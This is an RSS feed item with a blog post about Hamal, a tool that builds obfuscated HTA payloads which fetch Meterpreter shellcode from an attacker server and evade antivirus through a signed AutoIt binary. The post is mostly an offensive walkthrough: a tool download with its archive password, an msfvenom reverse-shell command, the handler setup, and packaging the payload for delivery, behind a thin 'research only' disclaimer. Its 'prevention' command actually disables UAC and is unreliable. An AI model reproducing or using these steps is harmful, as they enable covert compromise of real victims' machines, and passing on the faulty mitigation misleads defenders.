<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	 xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>discovery &#8211; AnonyViet &#8211; English Version</title>
	<atom:link href="https://en.anonyviet.com/tag/discovery/feed/" rel="self" type="application/rss+xml" />
	<link>https://en.anonyviet.com</link>
	<description>The most popular website for sharing information technology, computer networks, and security knowledge. Stay up to date with the hottest news and tips</description>
	<lastBuildDate>Mon, 10 Feb 2025 12:23:52 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.2</generator>

<image>
	<url>https://en.anonyviet.com/wp-content/uploads/2023/01/cropped-ico-logo-75x75-1.png</url>
	<title>discovery &#8211; AnonyViet &#8211; English Version</title>
	<link>https://en.anonyviet.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Hamamal: Shellcode execution technique from afar to overcome Antivirus&#039;s discovery</title>
		<link>https://en.anonyviet.com/hamamal-shellcode-execution-technique-from-afar-to-overcome-antiviruss-discovery/</link>
					<comments>https://en.anonyviet.com/hamamal-shellcode-execution-technique-from-afar-to-overcome-antiviruss-discovery/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Mon, 10 Feb 2025 12:23:52 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[afar]]></category>
		<category><![CDATA[Antivirus39s]]></category>
		<category><![CDATA[discovery]]></category>
		<category><![CDATA[execution]]></category>
		<category><![CDATA[Hamamal]]></category>
		<category><![CDATA[overcome]]></category>
		<category><![CDATA[Shellcode]]></category>
		<category><![CDATA[technique]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=18179</guid>

					<description><![CDATA[The execution of malicious code without being detected by antivirus software (antivirus) is a significant challenge for both attacking and defensive. Today, we will discover a tool named Hamalan innovative method for execution Shellcode remotely In Windows environment, simultaneously Overcoming the detection mechanism of antivirus effectively. This technique uses HTA (HTML Application) and JavaScriptallowing attackers [&#8230;]]]></description>
										<content:encoded><![CDATA[
<div id="ftwp-postcontent">
<p>The execution of malicious code without being detected by antivirus software (antivirus) is a significant challenge for both attacking and defensive. Today, we will discover a tool named <strong>Hamal</strong>an innovative method for execution <strong>Shellcode remotely</strong> In Windows environment, simultaneously <strong>Overcoming the detection mechanism of antivirus</strong> effectively. This technique uses <strong>HTA (HTML Application) and JavaScript</strong>allowing attackers to load and execute Shellcode directly remotely, thereby minimizing the possibility of being detected. Okay, not long anymore the main problem!</p>
<div align="center">
<table class="aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">
<tbody>
<tr>
<td style="width: 100%; text-align: center;"> <span style="font-size: 12pt;"> <strong>Join the channel <span style="color: #0000ff;">Telegram</span> belong to <span style="color: #008080;">Anonyviet</span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietoffical" target="_blank" class="local-link">Link</a></span>  👈</strong> </span> </td>
</tr>
</tbody>
</table>
</div>
<p><strong><em>Note: This article is only for research and learning purposes. Anonyviet will not suffer any illegal acts!</em></strong></p>
<h2 id="ftoc-khai-niem-ngan-gon-ve-hta-va-phuong-thuc-tan-cong" class="ftwp-heading"><strong>The concept of HTA is brief and attack method</strong></h2>
<h3 id="ftoc-hta-la-gi" class="ftwp-heading"><strong>What is HTA?</strong></h3>
<p>HTA (HTML Application) is a type of HTML -based application developed by Microsoft, can be executed directly through <strong>mshta.exe</strong> without being restricted by the browser sandbox. Therefore, HTA has become a useful tool for legal automation tasks, but also a dangerous tool in the hacker hand</p>
<h3 id="ftoc-tai-sao-hta-co-the-bi-lam-dung" class="ftwp-heading"><strong>Why can HTA be abused?</strong></h3>
<ul>
<li><strong>Run with high rights</strong>: HTA can execute <strong>Vscrip/javascript</strong> With the user&#39;s rights without displaying a warning window like when running regular script</li>
<li><strong>No need to write the file</strong>: Hacker can download HTA remotely without storing toxic content on the victim&#39;s machine</li>
<li><strong>Ignore some security solutions</strong>: Some antivirus software do not scan HTA carefully like other execution files (.exe, .dll), creating BYPASS opportunities</li>
</ul>
<h2 id="ftoc-cach-thuc-hoat-dong-cua-payload-htamal" class="ftwp-heading"><strong>How to work for payload hamal</strong></h2>
<p>Hamal is a tool to create 1 payload <strong>HTA to execute Shellcode remotely</strong>helping to avoid being detected by Antivirus. The general process is as follows:</p>
<p><strong>Create HTA files containing toxic JavaScript code</strong></p>
<ul>
<li>In the source code of the tool, I disturbed Payload at the page <a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fobfuscator.io%2F" class="ext-link" rel="external nofollow" onclick="this.target='_blank';">https://obfuscator.io/</a>you can see the source code of Payload at the end in the Source Tool</li>
<li>Hamamal&#39;s Payload will change the file name, URL and execution command to HEX and 2 files: <strong>Autoit.exe and Loader.A3x</strong> encrypted by Xor algorithm. When Payload is executed on the victim&#39;s machine, it will decode and execute the command in the %appdata %folder</li>
</ul>
<p><strong>Download Shellcode from C2 server: </strong>When users open HTA files, script <strong>Loader.A3x</strong> Will take Shellcode from the hacker server</p>
<p><strong>Taking advantage of the valid digital signature (Digital signature) of the file Autoit.exe to bypass antivirus</strong></p>
<ul>
<li>I have compile script Loader.au3 to Loader.A3x, when running the command <strong>Autoit.exe Loader.A3x <hex_url_shellcode/></strong>  perform <strong>Download and execute Shellcode remote</strong>by using the functions <a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Flearn.microsoft.com%2Fen-us%2Fwindows%2Fwin32%2Fapiindex%2Fwindows-api-list" class="ext-link" rel="external nofollow" onclick="this.target='_blank';">Windows API</a> To allocate memory, copy Shellcode into the granted memory area, then create a new stream to execute Shellcode.</li>
<li>One of the techniques <strong>Bypass antivirus (AV) </strong>popular is <strong>Take advantage of valid digital signatures of legal software</strong> To execute malicious code. In this case, I have <strong>Taking advantage of Autoit.exe with valid digital signature</strong> To avoid being detected by security software</li>
</ul>
<p><strong>Hamamal &#8211; Payloading tool for executing Shellcode remotely bypass antivirus</strong></p>
<p>To use this tool, you need to download Python to your computer, then download the source code of the tool <a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fwww.mediafire.com%2Ffile%2F8455ry5a5v2d24g%2FHtaMal.zip%2Ffile" class="ext-link" rel="external nofollow" onclick="this.target='_blank';">here</a>after downloading, you extract and experience (the decompression pass: anonyviet.com)</p>
<p>Before using Hamamal, we need to create a Shellcode, here I will use Metasploit to create with the statement:</p>
<p><code>msfvenom -p windows/x64/meterpreter/reverse_https lhost=192.168.1.33 lport=8443 -f raw -o shellcode.bin</code></p>
<p><code>#Setup môi trường lệnh tấn công</code></p>
<p><code>msfconsole</code></p>
<p><code>use exploit/multi/handler</code></p>
<p><code>set payload windows/x64/meterpreter/reverse_https</code></p>
<p><code>set lhost=your ip address</code></p>
<p><code>set lport=your port</code></p>
<p><code>run</code></p>
<p><img title="Hamamal: Shellcode execution technique from afar to overcome Antivirus&#39;s discovery" loading="lazy" decoding="async" class="aligncenter size-full wp-image-80302" src="https://anonyviet.com/wp-content/uploads/2025/02/word-image-80301-1.png" alt="Hamamal: Shellcode execution technique from afar to overcome Antivirus&#39;s discovery" width="600" height="89" srcset="https://anonyviet.com/wp-content/uploads/2025/02/word-image-80301-1.png 600w, https://anonyviet.com/wp-content/uploads/2025/02/word-image-80301-1-300x45.png 300w" sizes="auto, (max-width: 600px) 100vw, 600px"/></p>
<p>Next, run the Python3 -M Http.Server 80 command to open the file storage server <strong>shellcode.bin </strong>and python3 hamal.py to run the tool. Now I will enter the URL containing my shellcode<br /><img post-id="18179" fifu-featured="1" title="Hamamal: Shellcode execution technique from afar to overcome Antivirus&#39;s discovery" loading="lazy" decoding="async" class="aligncenter size-full wp-image-80303" src="https://anonyviet.com/wp-content/uploads/2025/02/word-image-80301-2.png" alt="Hamamal: Shellcode execution technique from afar to overcome Antivirus&#039;s discovery" title="Hamamal: Shellcode execution technique from afar to overcome Antivirus&#039;s discovery" width="990" height="401" srcset="https://anonyviet.com/wp-content/uploads/2025/02/word-image-80301-2.png 990w, https://anonyviet.com/wp-content/uploads/2025/02/word-image-80301-2-300x122.png 300w, https://anonyviet.com/wp-content/uploads/2025/02/word-image-80301-2-768x311.png 768w, https://anonyviet.com/wp-content/uploads/2025/02/word-image-80301-2-750x304.png 750w" sizes="auto, (max-width: 990px) 100vw, 990px"/></p>
<p>That is done, now I will suppress the Payload <strong>hta_payload.hta</strong> into a zip file with a password of 123123@</p>
<p><img title="Hamamal: Shellcode execution technique from afar to overcome Antivirus&#39;s discovery" loading="lazy" decoding="async" class="aligncenter size-full wp-image-80304" src="https://anonyviet.com/wp-content/uploads/2025/02/word-image-80301-3.png" alt="Hamamal: Shellcode execution technique from afar to overcome Antivirus&#39;s discovery" width="646" height="506" srcset="https://anonyviet.com/wp-content/uploads/2025/02/word-image-80301-3.png 646w, https://anonyviet.com/wp-content/uploads/2025/02/word-image-80301-3-300x235.png 300w" sizes="auto, (max-width: 646px) 100vw, 646px"/></p>
<p>And here is the result:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-80305" src="https://anonyviet.com/wp-content/uploads/2025/02/a-screenshot-of-a-computer-ai-generated-content-m.png" alt="A Screenshot of a Computer AI -GERATED Content may be incorrect." width="1598" height="923" srcset="https://anonyviet.com/wp-content/uploads/2025/02/a-screenshot-of-a-computer-ai-generated-content-m.png 1598w, https://anonyviet.com/wp-content/uploads/2025/02/a-screenshot-of-a-computer-ai-generated-content-m-300x173.png 300w, https://anonyviet.com/wp-content/uploads/2025/02/a-screenshot-of-a-computer-ai-generated-content-m-1024x591.png 1024w, https://anonyviet.com/wp-content/uploads/2025/02/a-screenshot-of-a-computer-ai-generated-content-m-768x444.png 768w, https://anonyviet.com/wp-content/uploads/2025/02/a-screenshot-of-a-computer-ai-generated-content-m-1536x887.png 1536w, https://anonyviet.com/wp-content/uploads/2025/02/a-screenshot-of-a-computer-ai-generated-content-m-750x433.png 750w, https://anonyviet.com/wp-content/uploads/2025/02/a-screenshot-of-a-computer-ai-generated-content-m-1140x658.png 1140w" sizes="auto, (max-width: 1598px) 100vw, 1598px"/></p>
<p>Video demo:</p>
<p><iframe loading="lazy" class="wp-embedded-content" sandbox="allow-scripts" security="restricted" title="HtaMal" src="https://streamable.com/o/cd36kf#?secret=7yxcR1Anc4" data-secret="7yxcR1Anc4" frameborder="0" scrolling="no" width="1280" height="720"></iframe></p>
<h2 id="ftoc-cach-phong-chong-tan-cong-bang-hta" class="ftwp-heading"><strong>How to prevent attack with HTA</strong></h2>
<p>Because MSHTA.EXE is rarely necessary in the business environment, blocking Mshta.exe is a simple way to reduce the risk of being attacked. Can be done by:</p>
<p><code>Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 0</code></p>
<p>Or in Group Policy:</p>
<ul>
<li><strong>Computer Configuration → Windows Settings → Security Settings → Software Restriction Policies</strong></li>
<li>More <strong>mshta.exe</strong> Go to the blocked list</li>
</ul>
<p>Hamamal is a help to create a shellcode execution, using techniques <strong>Bypass antivirus (AV) </strong>To avoid being detected. By combining <strong>HTA (HTML Application)</strong> with <strong>Autoit</strong>this tool can execute malware directly in memory. However, the important thing to emphasize is <strong>Hamamal is only used for the purpose of security and legal testing</strong>.</p>
<p>To prevent BYPASS AV techniques like Hamamal, it is necessary:<br />🔹 Monitor suspected processes, especially Autoit.exe.<br />🔹 Limit the implementation of HTA on the system if not necessary.<br />🔹 Apply advanced protection mechanisms such as Application Whitelisting, Amsi Logging, and Behavioral Analysis.</p>
<p>👉 <strong>What do you think about this method? Is there any way to improve AV&#39;s detection to fight this technique? Please share your opinion! 🚀</strong></p>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/hamamal-shellcode-execution-technique-from-afar-to-overcome-antiviruss-discovery/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2025/02/word-image-80301-2.png" medium="image"></media:content>
            	</item>
	</channel>
</rss>
